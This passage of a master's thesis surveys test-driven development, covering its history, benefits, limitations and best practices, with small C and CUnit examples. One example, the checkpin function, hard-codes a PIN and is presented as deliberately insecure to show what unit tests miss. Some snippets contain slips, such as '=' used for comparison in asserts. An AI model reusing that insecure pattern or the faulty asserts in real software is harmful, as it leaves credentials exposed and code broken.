Practices ....................................................................................... 23 2.5.1 Avoid partial adoption. ................................................................. 23 2.5.2 Create tests before writing code. ................................................................. 24 2.5.3 Create a test list. ................................................................. 25 2.5.4 Automate testing. ................................................................. 27 2.5.6 Keep code simple. ................................................................. 29 2.5.7 Consider test execution time. ................................................................. 31 3. Conclusions ....................................................................................... 31 Table of Figures Figure 1. Publication Timeline. These publications mark changes in best practice. ........ 3 Figure 2. Specification and Validation. These are two views on the purpose of TDD. ...... 5 Figure 3. Red, Green, Refactor. This is the motto of TDD........................................... 6 Figure 4. Waterfall Model. A traditional approach to software development................. 7 Figure 5. Create Test, Write Code, Pass Test. This is the proper sequence in TDD. ........ 8 Figure 6. Feature Branches. TDD reduces the need to maintain feature branches......... 9 Figure 7. Test Case Size. Example size of test case......................................................... 14 Figure 8. Integration Issue. An integration issue TDD won't catch................................. 16 Figure 9. Potential Concurrency Issue. Function not thread safe................................. 18 Figure 10. Bad Security. Functional but insecure......................................................... 19 Figure 11. Refactoring. Redesign to accommodate tax exemption............................... 21 Figure 12. Test Case Maintenance. Needed after refactoring........................................ 22 Figure 13. Test Code First. Written before functional code........................................... 24 Figure 14. Username Validation Test List. This is an example of a test list................. 26 Figure 15. Test Case Scope. Lesser scope is better....................................................... 28 Figure 16. Code Simplicity. Keep functions minimized................................................. 30 Keywords *Keywords:* Test-driven Development, TDD, agile software development, software testing, software requirements 1. Introduction 1.1 Background This thesis was written and submitted in partial fulfillment of the requirements for the degree of Master of Science, with a Major in Computer Science, at Governors State University, in University Park, Illinois. The author, Timothy W. Tacker, previously earned the degree of Bachelor of Science, with a Major in Applied Computer Science and a minor in Business Administration, at Illinois State University, in Normal, Illinois. The author has worked in the industry for more than twenty-three years, including eight years teaching at the university level and most recently successfully leading a security test organization for mission-critical systems within a Fortune 500 company. 1.2 Topic The topic of best practices for TDD is explored in this thesis. This includes best practices for both the implementation of TDD and for the continued use of TDD following implementation. This paper restates advice from a variety of expert sources to which the author adds their own context, analysis, and observations. 1.3 Importance TDD is rapidly being adopted throughout the software development industry. This trend is linked with the adoption of agile software development practices. As agile practices continue to be adopted, the adoption of TDD is also expected to grow in parallel; and therefore, the topic of TDD only becomes more relevant every day. 1.4 Need This research is necessary because implementation and usage of TDD can be extremely difficult. While a variety of sources on the topic do exist, it will be useful to collect the lessons already learned in a single location and synthesize them. In addition to aggregation of these ideas, this thesis will help present opposing opinions and mediate between them, exploring ideas such as the ultimate purpose of TDD. 1.5 Objective The objective of this thesis is to provide a useful reference for those entities that desire to adopt and use TDD. It is the hope of the author that the research collected here will serve as a guide that will assist in avoiding many pitfalls already discovered. It is the aim of the author to also provide information for those entities merely evaluating the use of TDD. After achieving an understanding of the information contained in this paper, the reader will be in a better position to determine some of what is required for the adoption of TDD and make an informed decision regarding its use. 1.6 Structure This thesis consists primarily of literature review. First, the history of TDD will be explained. Second, a description of TDD will be provided, discussing both the purpose and process of TDD. Third, some of the benefits of TDD will be presented. Fourth, for balance, some of the limitations of TDD will be presented. After this context has been established, best practices for TDD will finally be listed. The paper will end with a summary of findings in the conclusion. 2. Literature Review 2.1 History The practice of test elaboration prior to the start of programming did not originate with TDD; however, TDD combined this idea with developer testing. (Agile Alliance, n.d.) American software engineer Kent Beck is often credited as the “reviver” of TDD. Beck is the developer of the lightweight software development methodology known as extreme programming (XP). (Copeland, 2001) Beck is also one of the original seventeen signatories of the Manifesto for Agile Software Development, which popularized the now common practice of Agile Software Development. (Beck, et al., 2001) Beck reports that he first tried TDD after reading the original description in what he refers to as an “ancient book” about programming. After describing TDD to some older programmers, Beck discovered that they found it obvious and wondered how else one might program. For this reason, Beck indicates his role was merely “rediscovering” TDD, rather than inventing it. (Beck, Kent Beck’s Answer to Why does Kent Beck refer to the "rediscovery" of test-driven development? What's the history of test-driven development before Kent Beck's rediscovery?, 2012) In the 1976 book, Software Reliability, Glenford Myers indicated that developers should not test their own code. Twenty-two years later, in 1988, it was stated in an article on Extreme Programming that the test is usually written first. By 2003, Kent Beck had published his award-winning book, Test Driven Development: By Example. (Agile Alliance, n.d.) In a span of 27 years, best practices had changed from developers never testing their own code to the expectation that developers should always create the tests to validate their work before starting that work. See Figure 1 below for a timeline that highlights these key events in this evolution of practice. ![Figure 1. Publication Timeline. These publications mark changes in best practice.](image-url) 2.2 Description 2.2.1 Purpose. There is some debate about the ultimate purpose of TDD. Nonetheless, there does appear to be a consensus answer to this question. Both the majority opinion and other views will be discussed in this thesis. In general, TDD is an advanced technique that uses unit tests to affect software design. (Palermo, 2006) As an advanced technique, TDD is not currently used for all, or even a majority of, software development projects; however, TDD is rapidly gaining acceptance in the industry. This trend continues to become more apparent with the adoption of various agile software development methodologies that naturally include the use of TDD. The primary goal of TDD may not be testing software but, rather, assisting the developer and customer arrive at unambiguous requirements in the form of tests. (Vorontsov & Newkirk, 2004) The creation of accurate requirements is one of the most difficult aspects of software development. Using a test to formalize a piece of functionality, subsequent implementation in a fashion that causes the test to pass, and an ongoing repetition of this process is the foundation of TDD. (Erdogmus, 2005) This foundation fosters what is known as a “test first mentality” and represents a primary differentiator between TDD and other styles of software development. Kent Beck states that the purpose of TDD is clean code that works. (Beck, Test-driven Development: By Example, 2003) While it is true that one view is that TDD is a technique for programming in which writing clean code that works is the primary goal, another view is that specification, rather than validation, is the ultimate goal of TDD. The specification view suggests that TDD assists in thinking through requirements or design before functional code is written. (Ambler, n.d.) In the specification view, the purpose of TDD is more closely related to initial design quality, rather than quality assurance. In truth, TDD can serve both purposes simultaneously. See Figure 2 below for a Venn diagram that illustrates the idea that there is overlap between these proposed purposes. ![Venn Diagram](image) *Figure 2. Specification and Validation. These are two views on the purpose of TDD.* **2.2.2 Process.** There seems to be widespread agreement about the high-level process that constitutes TDD. “Red, Green, Refactor” is the commonly repeated motto of TDD. “Red” involves the creation of a test that will initially fail. “Green” involves the test passing after the implementation work is done. “Refactor” involves code changes to improve the design and remove duplication. Each new unit of code requires a repetition of this cycle. (Palermo, 2006) See Figure 3 below for a flowchart that shows the iterative “Red, Green, Refactor” cycle in a graphical fashion. At a lower level, TDD is a style of programming where the activities of coding, testing, and design are tightly interwoven. First, a single test is written that covers one program aspect. Second, the test should be executed, and fail, because the feature has not yet been implemented. Third, just enough code should be written to make the test pass. Fourth, the code should be refactored for simplicity purposes. Last, the process is repeated; and over time, tests are accumulated. (Agile Alliance, n.d.) These accumulated tests are maintained and continue to be executed during future development to guard against regressions. This model is an alternative to other design approaches, such as the traditional waterfall model, which traditionally progresses through the phases of requirements, design, implementation, verification, and maintenance. See Figure 4 below for a depiction of the prototypical waterfall model that includes the phases mentioned here. When implementing any new feature, one should first ask if the current design is the best one that allows implementation of the functionality. If it is not, the design should be refactored to make it as easy as possible to add the new feature; thus, the quality of the design is always improving, and it becomes easier to work with. Traditional development is completely turned around in TDD. (Ambler, n.d.) This philosophy requires less initial design planning and may represent what could be considered “just in time design.” The thinking here is that too much initial planning may result in bad assumptions, or decisions that don’t accurately predict changing circumstances or requirements into account, and may result in a significant amount of wasted work on the wrong design. With TDD, if the current requirements don’t mandate a specific design consideration, then that design simply should not be considered until a later time at which it may be needed. Test code is not written after functional code in TDD. Test code is written first and only in very small steps. A TDD approach requires programmers to demand the existence of a test that fails before writing even a single line of the function that the test verifies. (Ambler, n.d.) This does require significant discipline, and it may even be considered stubborn by those who don’t fully understand TDD; however, the creation of appropriate tests before writing code is an essential component of the TDD approach. See Figure 5 below for a model that demonstrates the proper sequence of test creation, code creation, and testing in TDD. ![Create Test, Write Code, Pass Test](image) *Figure 5. Create Test, Write Code, Pass Test. This is the proper sequence in TDD.* ### 2.3. Benefits **2.3.1 Guaranteed requirements compliance.** Software is typically created for specific purposes that must be well understood to ensure those purposes are well met. One of the biggest problems in software development is when customer requirements are misunderstood by programmers. Using tests as requirements eliminates the need for human interpretation regarding success, and successful execution of such tests guarantees that the work meets requirements and is done. (Vorontsov & Newkirk, 2004) Translation of initial requirements into later tests is often a difficult and error-prone process. Skipping this process represents the elimination of a large step in traditional software development, which results in significant time savings and avoids an opportunity for errors that invite defects to creep into the process. With TDD, progress is made even when a test fails because knowledge has been gained that there is a problem that requires resolution. Determining the success versus failure of the testing is also made very clear. This has the effect of increasing confidence that the solution accurately meets requirements, works, and that it is acceptable to proceed. (Ambler, n.d.) While the need for acceptance testing is not eliminated, reliance upon it can be significantly reduced. In some cases, customer involvement, or collaboration, in the creation of initial tests may serve as the only acceptance testing needed. Developers can move on to other tests following a test that passes and refactoring, as the code is clearly finished following these events. (Palermo, 2006) Assuming the correct initial tests are created, there is very little chance that the code will later be rejected and sent back to development, as the tests are the requirements; and if the tests have passed, the requirements have been met. As a result, the need to cleanly maintain multiple branches of atomic code that can be safely rolled back independently, without affecting subsequent development, is eliminated. This results in a lower overall administrative burden and allows for greater productivity. See Figure 6 below for an example of how TDD allows multiple, independent feature branches of code to be merged into a single branch of code that has been verified to work properly. ![Figure 6. Feature Branches. TDD reduces the need to maintain feature branches.](image) 2.3.2 Better facilitation of testing. Outside of TDD, while most code is designed for functionality and performance, it is not designed specifically for testability. It is easier for quality assurance to test code developed using TDD, as the code is written with testing in mind and the process generates a base of pre-existing tests. This allows quality assurance to become more proactive, rather than reactive. (Vorontsov & Newkirk, 2004) Being already provided with essentially all functional testing that is needed, quality assurance is freed to focus on more exploratory and usability testing. The net result is not only more testing but also creates an opportunity for smarter, risk based testing above and beyond the baseline functional testing. Tests developed for use with TDD can be maintained, updated, and reused beyond initial development to check for breakage of existing functionality as additional changes are made to the software, giving a greater level of confidence that no regressions have been introduced. (Vorontsov & Newkirk, 2004) In other words, in addition to serving as the initial functional testing, the same base of test cases is reused for regression testing each time additional development is done in the future. Constant feedback that each component is still working is provided by the suite of unit tests. (Palermo, 2006) This inspires confidence not only in programmers to make bold changes that are often necessary but also the confidence of quality professionals in the work of those programmers. Traditional testing recommends, but does not guarantee, that every single line of code is tested; however, 100% testing coverage achievement is a side effect of TDD. (Ambler, n.d.) The reason for this is that in TDD it is not acceptable to add code without first creating a test for any code that is created. In any organization that uses code coverage as a quality metric, TDD will consistently allow the achievement or perfection in this measure; but this does not guarantee that the code will be free of bugs; and therefore, the importance of other quality metrics should be emphasized with the adoption of TDD. See the limitation section of this thesis for additional details. 2.3.3 Better overall design. Testing usually addresses requirements compliance, functionality, usability, and performance; but it rarely reaches evaluation of underlying design. Reduction of the scope of tasks to be performed, improved understanding of requirements, and better decomposition are encouraged by creating tests prior to implementation and proceeding with development one test at a time. (Erdogmus, 2005) Improved code design qualities and better technical quality in the form of cohesion and coupling metrics are reported by veteran practitioners of TDD. (Agile Alliance, n.d.) If true, then TDD not only allows for more testing and better testing but also results in the side effect of encouraging better underlying design. Additional research is needed regarding this quality of TDD. A true understanding of the desired result and how to test it is required in TDD before a developer can create production code, so this forces critical analysis and design. (Palermo, 2006) Developers may not quickly skim over complex requirements without full understanding, as they will then be unable to create the required test cases if they do so. While external documentation is obviously important, developers are often also encouraged to document their code with comments and even to write “self-documenting” code. External documentation frequently goes out of date, but the same is not true for unit tests, which simultaneously act as documentation in TDD. (Palermo, 2006) These unit tests require maintenance and are not permitted to go out of date. If they were to go out of date, they would no longer product the correct results and would start to report failures during test execution, signaling that either a regression has been introduced or that the test case needs to be updated. 2.3.4 Reduced need for debugging. Traditional development practices allow programmers to create expansive, non-atomic additions to code, which aren’t simple or narrowly focused on individual requirements. This would potentially be acceptable if no mistakes were ever made; however, this expectation is obviously unrealistic. When mistakes are eventually made, significant time must be spent debugging and locating the problem area. TDD forces developers to work in small steps. Instead of waiting until many changes have been made to the code, which may result in uncertainty as to which change caused the problem, smaller steps make it easier to determine when mistakes are made during development. This reduces the need to rely on a debugger, which increases the speed of development. (Vorontsov & Newkirk, 2004) Debugging and rework effort is reduced because a small testing scope permits quicker turnaround and more frequent regression testing. (Erdogmus, 2005) Developers can be trained to make only small, focused, atomic commits to code; but TDD forces the issue and requires what is already widely regarded as a best practice. It is not possible to practice TDD and ignore this way of working. Code additions always map to specific tests. TDD offers confidence not only that new code additions are correct but also that old code is not broken by new additions. Regressions also typically take a significant amount of time to debug; and in many cases, such issues are even more complex to resolve. Each time the tests are executed, it is verified that all previous bugs are fixed and remain fixed. This provides protection against regressions and therefore also a reduction in time needed to debug code. (Palermo, 2006) The overall time saved debugging is well worth the discipline. 2.3.5 Reduced rate of defects. While TDD involves an increase in initial development effort required, significant reductions in defect rates are reported by many teams using TDD. During a project’s final phase, these same teams report a reduction in effort and indicate the initial overheads as more than offset. (Agile Alliance, n.d.) This is likely a result of the additional testing enabled by TDD and the focused quality of that testing. Verification is also pushed from the end of the project to several times throughout the project, where the work done is fresh in mind and where is takes less time to diagnose issues. In other words, the same quality can be achieved with less effort using TDD, which also means better quality can be achieved with the same amount of effort. 2.3.6 Improved productivity. In addition to all the other benefits of TDD, the practice also results in improved developer productivity. The test-first methodology results in a larger number of programmer tests and improved productivity. (Erdogmus, 2005) This argument is made even more convincing when one considers the creation of test cases part of production and the increase in output ratio of properly working versus defective code. The smaller steps that are taken in TDD are far more productive than coding in larger steps. It is a less complex task to find and fix defects when less code has been written. It becomes more attractive to take such smaller steps when the compiler and regression test suite can be executed quickly. (Ambler, n.d.) Developers spend less time resisting this practice, and more time practicing it, when it is thus made so attractive to them. Developers are free to refactor and make design changes at any time, because test execution provides confidence that the software is still working. This tends to result in a better, loosely coupled design that is easy to maintain. (Palermo, 2006) Because less time and effort is spent on the administrative overhead of required maintenance, more of each can be spent on adding functionality and other core development. 2.4. Limitations 2.4.1 Increased initial effort. Development in TDD can feel slow at the start, because more time and effort are required at the beginning with TDD than in other styles of software development. (Hill, 2015) Developers are required to refrain from jumping straight in to do development; and instead, they are forced to spend time carefully thinking through and defining the work, considering how it will be tested, and writing the test cases that ultimately fulfill these purposes. Objectively, this means that developers using TDD spend more time and energy planning and start work on functional code later. ```c int addfive(int num) { return(num + 5); } void test_addfive(void) { CU_ASSERT(addfive(10) == 15); } ``` *Figure 7. Test Case Size. Example size of test case.* To illustrate increased initial effort, shown in Figure 7 above are two example functions written in the C programming language. The first function, addfive, represents the functional code to be tested. For the purpose of presenting a simple example, the addfive function does nothing more than add five to any integer provided and returns the result. The addfive function required only four lines of code to implement, including the function header and braces on their own lines. The test_addfive function is the code required to test the addfive function. It is written using the CUnit testing framework and checks to ensure that when provided with the integer 10, the addfive function correctly returns 15. The test_addfive function required an additional four lines of code to implement, again including the function header and braces on their own lines. The number of lines of test code that needed to be written in this case is exactly equal to the functional code itself. Because test code is written before functional code in TDD, after four lines of code the TDD developer will have completed only the test case, where the traditional programmer will have completed the entire functional code itself. 2.4.2 Quality not guaranteed. It is a mistake to assume that adoption of TDD will always automatically result in better quality. While TDD may result in more consistent quality, it is not guaranteed to consistently achieve better quality. TDD reduces the influence of developer skill on quality. Variation is reduced, and minimum achievable quality is improved by the execution of a larger number of tests; however, this quality is not unique to TDD. (Erdogmus, 2005) Other styles of software development can also benefit from an increase in the number of tests executed. In other words, enhanced quality is only a potential side effect of TDD, which results from the larger number of test cases that are typically executed in a TDD environment. 2.4.3 Traditional testing not replaced. TDD is primarily focused on unit testing. While TDD provides a method to ensure effective unit testing, it does not replace traditional testing. (Ambler, n.d.) Following adoption of TDD, the need for other types of testing will remain. For example, if the customer was not heavily involved in the creation of initial test cases, and even in some cases if they were, the customer may still require extensive acceptance testing. Integration and system-level testing beyond what TDD provides is also necessary in most cases. ```c int addten(int num) { return(num+10); } void test_addten(void) { CU_ASSERT(addten(20) == 30); } void calculate(int option) { int option1 = 50; float option2 = 50.5; if(option == 1) /* Integer */ { printf("Answer: %i", addten(option1)); } else if(option == 2) /* Float */ { printf("Answer: %f", addten(option2)); } } ``` *Figure 8. Integration Issue. An integration issue TDD won’t catch.* In Figure 8 above, three C language functions are presented. The first, addten, represents a hypothetical new implementation of a function that previously existed in a system. This function expects an integer number, adds ten to it, and returns the result as an integer. In accordance with TDD practices, before this function was created, a function to test the addten function was created. The test function is named test_addten and uses the CUnit testing framework to check that when the integer twenty is provided to the addten function, the integer thirty is correctly returned. Unfortunately, when the addten function was reimplemented, it was not realized that, in some cases, the existing calculate function may call the addten function with a floating-point number, instead of an integer as expected. The unit test provided by the test_addten function will indicate that the addten function passes; however, due to the narrow focus on only the code being implemented in the new addten function, it was missed that using second option of the existing calculate function will now produce undesirable behavior. The calculate function could easily have been implemented as a remote procedure located in a different part of the system that was a black block to the TDD developer. TDD will not catch these types of bugs in distributed systems; and for this reason alone, integration and system-level testing are still needed. 2.4.4 Not appropriate in all circumstances. Mechanically determining that the goals of software have been met is not always possible with TDD. Some programming tasks cannot be driven only by tests. Concurrency and security issues are two examples of this limitation. Reliable duplication of subtle concurrency issues can’t be guaranteed by running code. Also, while TDD may be able to discover defects in software, it can’t make the human judgements that are needed about the methods that were used to secure that software. (Beck, Test-driven Development: By Example, 2003) Presented in Figure 9 above is an addpercent function written in C. The purpose of this function is to increase a global percent variable by a requested amount, and then return the amount increased if successful; however, the function should also refuse any increase that would make percent greater than one-hundred. The CUnit testing framework has been used to create a test_addpercent function with two tests. The first test ensures that ten percent can be successfully added to the initial ninety percent and that the ten percent increase will be reported back as returned by the addpercent function. The second test ensures that if a twenty percent increase is requested beyond the initial ninety percent, the addpercent function correctly refuses the increase and reports back a zero increase. The addpercent function passes the unit testing demanded in accordance with TDD; however, if the function is used in a multithreaded application, it’s possible that it ```c int percent = 90; int addpercent(int increase) { if((percent+increase) <= 100) { percent = percent + increase; return(increase); } else { return(0); /* Refuse */ } } void test_addpercent(void) { CU_ASSERT(addpercent(10) == 10); CU_ASSERT(addpercent(20) == 0); } ``` *Figure 9. Potential Concurrency Issue. Function not thread safe.* will be called simultaneously by two different threads, allowing for a scenario that the testing did not cover and inadvertently allowing percent to be increased beyond one-hundred. Because we can not determine the order in which multiple threads execute, TDD does not guarantee that a valid result will always be produced if the addpercent function is used in a multithreaded application. ```c int checkpin(int pin) { if(pin == 1234) { return(1); /* Success */ } else { return(0); /* Failure */ } } void test_checkpin(void) { CU_ASSERT(checkpin(1234) == 1); CU_ASSERT(checkpin(9876) == 0); } ``` *Figure 10. Bad Security. Functional but insecure.* Shown in Figure 10 above is a simple C language function called checkpin. The purpose of this function is to check if the PIN provided equals 1234. If yes, the function should return the integer one; and if not, the function should return the integer zero. Using the CUnit testing framework, two simple tests have been implemented in the test_checkpin function to verify that this function works as designed; and according to these TDD tests, the function passes. Nonetheless, the checkpin function demonstrates highly questionable security practices. For example, it is not a good secure coding practice to hard code the PIN unencrypted and directly in the source code. One can also raise several other security concerns with this code, such as if the code requires the PIN to be long or complex enough. The unit testing demanded by TDD in this case merely verified that the function worked as designed—not that the design decisions made will ultimately result in a secure system. In addition, because TDD emphasizes unit testing, instead of integration and system-level testing, it can be a significant challenge to use TDD with large systems, developed by geographically distributed teams. It is not impossible to use TDD in these circumstances; however, it is critical that developers account for the failure of TDD to rigorously address the communication issues involved. (Sangwan & LaPlante, 2006) ### 2.4.5 More refactoring required Major refactoring is often required with TDD. This is because, instead of thinking ahead, TDD developers are expected to focus only on implementation of the simplest design that meets current requirements—not future needs. (Hill, 2015) In most other styles of development, consideration of future needs often goes into planning and development, which typically reduces the need to refactor during later development. “You Aren’t Gonna Need It” is a principle in both extreme programming and TDD; and while this may sometimes be true, it is also true that “You Will Indeed Sometimes Need It.” Adoption is TDD is a conscious decision to take this risk and acknowledgement that more factoring will be required in some cases. Two versions of a hypothetical total function, written in C, are shown in Figure 11 above. For a simple example, floating-point numbers have been used for currency, even though this is not a recommended best practice for actual production code. Also, the tests that would have been created are not shown, as they are not relevant to the point illustrated here. They are, however, shown in a later example to illustrate a different point. The purpose of the total function is to add tax and tip to a price to calculate a total. The first version of the total function was created using a TDD process. The developer was aware that there could be potential cases where tax should not be added due to a tax exemption; however, it was not an immediate need when the first version was created, so this requirement was ignored. As a result, the total function eventually needed to be refactored into the second version to accommodate instances of tax exemption. There is a significant difference between the two versions with the function essentially needing a complete rewrite. In accordance with the TDD philosophy, the developer also chose to ignore other possibilities, such as different tax rates for different types of customers; and this may very well result in a need to refactor the total function into a third version in the future. If these features had been incorporated before they were needed, these additional rounds of refactoring would not have been necessary. 2.4.6 Extensive test maintenance. Constant reconfiguration of the test suite is required to achieve maximum value in TDD. This translates to an ongoing investment of time and energy dedicated to test suite maintenance. This burden is increased as changes in design become more frequent, as they often do in TDD. (Hill, 2015) In other styles of development, this effort can be redirected toward the creation of functional code. This can be a challenge for developers that feel their primary responsibility is the creation of functional code, rather than the creation of test code, and is one of the reasons that implementation of TDD requires changes in organizational attitudes and culture. ```c void test_total(void) { CU_ASSERT(total(10.00, 2.00) == 12.80); } void test_total(void) { CU_ASSERT(total(10.00, 2.00, 0) = 12.80); CU_ASSERT(total(10.00, 2.00, 1) = 12.00); } ``` Figure 12. Test Case Maintenance. Needed after refactoring. Figure 12 above illustrates two versions of the test_total function, intended to test the two versions of the total function referenced earlier in this thesis. Both are written in C and make use of the CUnit testing framework. The first version of the test_total function did not pass a third argument to the total function, as the original version of that function did not include a third parameter to indicate tax exemption. When the total function was refactored to include this third argument, it was also necessary to maintain the associated test function. As can be seen in this example, this did not only require the addition of a third argument but, rather, also an entirely separate, second test within the test_total function. Where there was only one line of code in the test_total function previously, now there are two. This representing a doubling of the size of the test function. Granted, it is a small addition here; however, that is because the example is simple. Given a more complex system, the test case modifications will be similarly complex, resulting in an ongoing need for extensive text case maintenance. One can imagine that the developer may have also chosen to include additional tests, beyond those shown in this example, for added confidence. For example, perhaps in addition to the two tests in the second version of the test_total function, the developer chose to also include tests for a variety of prices, tip amounts, or even no tip. As tests accumulate over time; and the test suite grows in size, there may arise a need to come back to this function and remove some of the additional tests, to help speed execution time of the test suite. This is another type of ongoing test maintenance that will be required even when not triggered by tested functions being refactored. 2.5. Best Practices 2.5.1 Avoid partial adoption. In some environments, there is an attempt for one part of a team to start using TDD while other parts of the same team are still using other methodologies. This is understandable, as it is often difficult to implement such a sweeping change in culture and process wholesale. Nonetheless, partial adoption should always be avoided. Everyone on the same team should use TDD. (Agile Alliance, n.d.) Adoption of TDD is an all or none proposition, and significant effort may be required to make such a transition. 2.5.2 Create tests before writing code. In TDD, code should never be written before an automated test case has been created. This test should initially fail, as the code that it is intended to test should not yet exist. If there are no such test in existence, there is no requirement, and nothing need be implemented. Following this rule avoids the creation of unnecessary or untested code. (Vorontsov & Newkirk, 2004) Failing to follow this rule may result in the creation of code for which no test case is ever written. This will undermine the complete code coverage during testing that TDD offers. Worse, without such a test, there will be no advance agreement regarding when the work has been completed or is correctly implemented. ```c void test_addtwenty(void) { CU_ASSERT(addtwenty(40) == 60); } ``` Figure 13. Test Code First. Written before functional code. Figure 13 above shows a function, called test_addtwenty, which is written in C and implemented using the CUnit testing framework. As can be seen from the code, this function is intended to test a hypothetical function named addtwenty and ensure that when passed the integer forty it correctly returns sixty. It should be noted that the addtwenty function is not shown because it has not yet been created. If this test_addtwenty test case is executed now, it should fail due to the absence of any function named addtwenty. This is the first step in TDD—create a test case that fails. The addtwenty function can be considered correctly and completely implemented once this test_addtwenty function eventually indicates a pass. There are various techniques that can be used to make compliance with this rule more likely. For example, pair programming can assist in the avoidance of such slips. (Ambler, n.d.) It is more difficult to break the rule when this type of external accountability is introduced. 2.5.3 Create a test list. Brainstorming is the starting part when introducing new functionality with TDD. The developer should write down a list of tests when starting a new feature or task. The scope of activity is defined by this test list; and by describing the requirements unambiguously, the test list serves as the best criteria for determining completion. (Vorontsov & Newkirk, 2004) The first draft of the test list need not be perfect, as it is only intended as an aid in helping the developer to think through which unit tests need to be created and in what order. Don’t write too many tests at once. (Agile Alliance, n.d.) Additional tests may be added to the test list as the developer realizes they are needed. At this point in the process, it is perfectly acceptable for the list to remain a simple list of potential tests, without specific details about those tests. See Figure 14 below for an example of a username validation test list, showing simple candidate tests that might ultimately be used to validate such a hypothetical feature. The next step is to determine which tests from the list to implement and in what order. One strategy is to implement tests from the list in the order that they provide useful feedback from the problem being solved. (Vorontsov & Newkirk, 2004) Those tests that provide more useful feedback should be implemented first; and those that provide less useful feedback should be implemented later, or not at all. If a test does not provide useful feedback, then it is not a good choice anyway and should be eliminated from the test list. This should not be considered a failure to be avoided. It is better to error on the side of caution and include all test cases that may potentially be needed during the brainstorming phase. Another strategy is to implement tests from the list in order of simplicity. For example, with username validation, it may be simple to determine if a username is less than the minimum length; but it may be more difficult to determine if invalid characters have been included. In this scenario, with a strategy of implementing the simplest tests... first, checking for minimum length should therefore be done before checking for invalid characters in the username. 2.5.4 Automate testing. Software testing can be either manual or automated. In manual testing, testers must interactively execute test cases and check for expected results. In automated testing, test code is created that is intended to exercise the functional code being tested and automatically report a pass or failure. In TDD, tests must be automated. (Vorontsov & Newkirk, 2004) Test automation ensures consistent, reliable results and speeds the process of test execution, which is vital to ensure that the tests continue to be run with each additional feature developed on an ongoing basis. Throughout this thesis, examples of automated tests have been provided, implemented using the CUnit testing framework. A variety of other automated testing frameworks are also available; however, a comprehensive list is too large to include here. 2.5.5 Design tests well. Tests should not be too large or general. (Agile Alliance, n.d.) Unit tests should test only one single thing; so, if there are any problems, it’s obvious where to look. This means unit tests should be very limited in scope. (Palermo, 2006) A test that is too large may be an indicator of scope creep. Large tests are also difficult to maintain and update. If multiple different aspects require testing, create multiple, dedicated test cases focused on each of those aspects instead. The individual test cases can be executed together as part of a test suite; however, each will be easier to maintain and give less ambiguous results regarding the function being tested. (Agile Alliance, n.d.) In Figure 15 below, the test_validate function includes tests for multiple aspects of the validate function. As compared to the second and third example, instead of focusing on a single test, this function attempts to encapsulate multiple tests. Should one of the included tests fail, it may be unclear as to exactly which test has failed. Objectively, as can be seen in the example, this also results in a larger function which will be more difficult to maintain; and the complexity almost certainly be worse in the actual production code of a complex system. ```c void test_validate(void) { /* Disallow Under Minimum Length */ CU_ASSERT(validate("A") == 0); /* Disallow Over Maximum Length */ CU_ASSERT(validate("ABCDEFGHIJKL") == 0); } void test_validate_minlength(void) { CU_ASSERT(validate("A") == 0); } void test_validate_maxlength(void) { CU_ASSERT(validate("ABCDEFGHIJKL") == 0); } ``` *Figure 15. Test Case Scope. Lesser scope is better.* Units tests should clearly reveal their intention. In other words, it should be easy for another developer to arrive at an understanding of what is expected in production code simply by looking at the unit test. (Palermo, 2006) This is essentially the idea that code should always be self-documenting, and it applies not only to functional code but also automated test cases. Because test cases also serve as requirements in TDD, self-documenting code may be more important in test cases than in functional code. Tests should not be viewed as temporary, ad hoc frameworks that are to be quickly hacked together and discarded. They are themselves solutions that require careful design consideration and ongoing maintenance. In Figure 15 above, note that the first example, with greater scope requires comments, while the second and third examples are self-documenting and do not. The function of these tests can be derived not only from the function names but is also easier to determine as there is less code within each. 2.5.6 Keep code simple. TDD practitioners should strive to write code satisfies the requirements but no less and no more. Failing to write enough code will result in requirements not being met, but too much code adds complexity and creates a maintenance burden. (Vorontsov & Newkirk, 2004) Resulting code should be as simple as possible. Among other factors, this means the creation of the smallest number of classes and methods needed to pass testing. Achieving such simplicity can be difficult, but it results in resilient code that is easy to modify. (Vorontsov & Newkirk, 2004) An addition of complexity to remove duplicate code from a solution is acceptable because, rather than merely anticipating a possible future need, it addresses the actual, current need to remove duplicate code. This results in complexity only where complexity is truly needed in the solution. (Vorontsov & Newkirk, 2004) In Figure 16 above, two examples of a hypothetical calculate function are presented, written in the C language. Both functions perform exactly the same calculation—take the integer provided, add fifty to it, multiply the result by two, and return the answer. The second example requires a grand total of four lines (Only one line is required if the function header and braces are not counted.) In contrast, the first example of the calculate function requires eight lines and two additional functions, each four lines in length themselves. Both implementations are correct and produce the same results; however, the first is obviously more complex. Developers may be tempted to write code in a more complex fashion in anticipation of future needs or because they have been taught to modularize code whenever possible. Unfortunately, this is the wrong approach in TDD. TDD encourages code similar to the second example. If the desired result can be achieved more simply, that is what should be done in TDD. If additional complexity, in the form of modularization, is needed for some reason in the future, then it can, and should, instead be implemented at that future time. 2.5.7 Consider test execution time. Don’t forget to run tests frequently. (Agile Alliance, n.d.) Unit tests that take too long to run will not be run often, so ensure they run fast. (Palermo, 2006) To increase the speed of test suite execution, test suites should be separated into multiple components. There should be one suite that includes only the tests for the new functionality being developed and another that contains all tests. The first should be executed more often than the second, and the second in the background or outside of normal working hours. The addition of hardware resources should not be overlooked in the effort to speed execution. (Ambler, n.d.) Exercise of dependencies such as networks, file systems, and databases will cause unit tests to execute slowly; so, it is better to separate or simulate these during testing. (Palermo, 2006) Test suits should be maintained so that they do not eventually require running times that are too long. (Agile Alliance, n.d.) As tests begin to accumulate, test suites will take longer and longer to execute, and this may serve as a disincentive for those test suites to be executed each time development is competed. Team turnover, or poor maintenance, should not be permitted to result in abandoned test suites that are seldom or never executed. (Agile Alliance, n.d.) 3. Conclusions This thesis explored the topic of best practices for TDD. This research was necessary due to the difficulty involved in the implementation and use of TDD. This paper aggregated advice from a variety of expert sources into a single location and provided additional context and insight for that advice. Providing a useful reference for those wishing to adopt and use TDD was the primary purpose of this research. The creation of a guide to assist in sharing lessons already learned, and the avoidance of pitfalls already known, was the goal of the author. It is hoped that the information presented here will help better, more informed decisions to be made regarding the adoption and use of TDD. A structured approach was taken in this thesis. First, the author provided background and context for TDD. Next, TDD was described in terms of purpose and detailed process. Following that, both benefits and limitations of TDD were explored. Last, a list of best practices for TDD was presented to the reader. At each stage, the author added his own voice to that of the cited experts. The benefits of TDD listed in this thesis are as follows: - Guaranteed requirements compliance. - Better facilitation of testing. - Better overall design. - Reduced need for debugging. - Reduced rate of defects. - Improved productivity. The limitations of TDD highlighted in this thesis are as follows: - Increased initial effort. - Quality not guaranteed. - Traditional testing not replaced. • Not appropriate in all circumstances. • More refactoring required. • Extensive test case maintenance. The best practices for TDD offered in this thesis are as follows: • Avoid 